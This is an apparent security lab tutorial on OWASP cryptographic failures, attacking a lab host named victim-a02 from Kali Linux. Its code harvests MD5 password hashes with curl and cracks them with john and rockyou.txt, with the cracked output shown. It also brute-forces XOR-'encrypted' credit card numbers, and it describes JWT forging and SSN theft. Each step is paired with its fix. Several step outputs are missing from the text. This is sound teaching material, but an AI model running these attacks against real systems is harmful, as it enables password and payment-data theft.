Attack a live server with real cryptographic weaknesses using Kali Linux: harvest MD5 password hashes and crack them with hashcat and john, break single-byte XOR "encryption" by brute-forcing the key, forge JWT tokens using a leaked weak secret, and exfiltrate cleartext credit cards and SSNs — then understand why each failure occurs and what the correct fix is.
Background
Cryptographic Failures (formerly "Sensitive Data Exposure") is OWASP #2. It covers using broken algorithms (MD5, SHA1, DES, RC4), transmitting sensitive data unencrypted, hardcoding secrets, and weak key management. MD5 was broken in 2004 — a GPU can try 10 billion MD5 hashes per second, cracking any dictionary password in seconds. In 2016, Yahoo's breach exposed 3 billion MD5-hashed passwords. In 2019, Facebook stored 600 million passwords in plaintext logs.
All subsequent commands run inside this Kali container:
Step 3: Service Recon — nmap + gobuster
📸 Verified Output:
💡 /config returning 200 with no auth is immediately suspicious. Any endpoint returning full server configuration is a critical finding. In this case it exposes database passwords, AWS keys, and the JWT signing secret — everything needed to fully compromise the application.
Step 4: Harvest MD5 Password Hashes
📸 Verified Output:
Step 5: Crack MD5 Hashes — hashcat
📸 Verified Output:
💡 All 3 MD5 hashes cracked in under 3 seconds. hashcat on a GPU can test 10 billion MD5 candidates per second. The entire rockyou.txt wordlist (14 million passwords) is exhausted in milliseconds. MD5 was designed for speed — exactly the wrong property for password hashing. bcrypt, Argon2id, and scrypt are designed to be deliberately slow (tunable to 100ms per attempt), making brute-force infeasible.
Step 6: Crack MD5 Hashes — john (Alternative)
📸 Verified Output:
Step 7: Cleartext Sensitive Data — Credit Cards and SSNs
📸 Verified Output:
Step 8: Break XOR "Encryption" by Brute Force
📸 Verified Output:
💡 Single-byte XOR is trivially broken. There are only 256 possible keys — a loop from 0 to 255 tests them all in microseconds. Real encryption (AES-256-GCM) has a 256-bit keyspace: 2²⁵⁶ possible keys, computationally infeasible to brute-force. The lesson: never invent your own encryption. Use a vetted library with a standard algorithm.
# Save hashes to file for cracking
curl -s $TARGET/api/users | python3 -c "
import sys, json
users = json.load(sys.stdin)
with open('/tmp/hashes.txt','w') as f:
for u in users:
f.write(u['password_md5'] + '\n')
print('Hashes saved to /tmp/hashes.txt')
for u in users:
print(f' {u[\"username\"]}: {u[\"password_md5\"]}')
"
echo "=== Alternative: john the ripper ==="
john --format=raw-md5 \
/tmp/hashes.txt \
--wordlist=/usr/share/wordlists/rockyou.txt
echo ""
echo "=== john cracked passwords ==="
john --format=raw-md5 /tmp/hashes.txt --show
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
bob (?)
alice (?)
admin (?)
3 password hashes cracked, 0 left
?:admin
?:alice
?:bob
echo "=== Brute-forcing single-byte XOR key ==="
python3 << 'EOF'
import base64, urllib.request, json
resp = urllib.request.urlopen("http://victim-a02:5000/api/payment").read()
data = json.loads(resp)
print("Brute-forcing XOR key (256 possible values):")
for record in data:
enc = record['credit_card_encrypted']
raw = base64.b64decode(enc)
for key in range(256):
candidate = bytes(b ^ key for b in raw).decode('ascii', errors='ignore')
# Credit cards start with 4 (Visa) or 5 (Mastercard)
if candidate.startswith('4') or candidate.startswith('5'):
print(f" user={record['username']} key=0x{key:02x} "
f"plaintext={candidate}")
break
EOF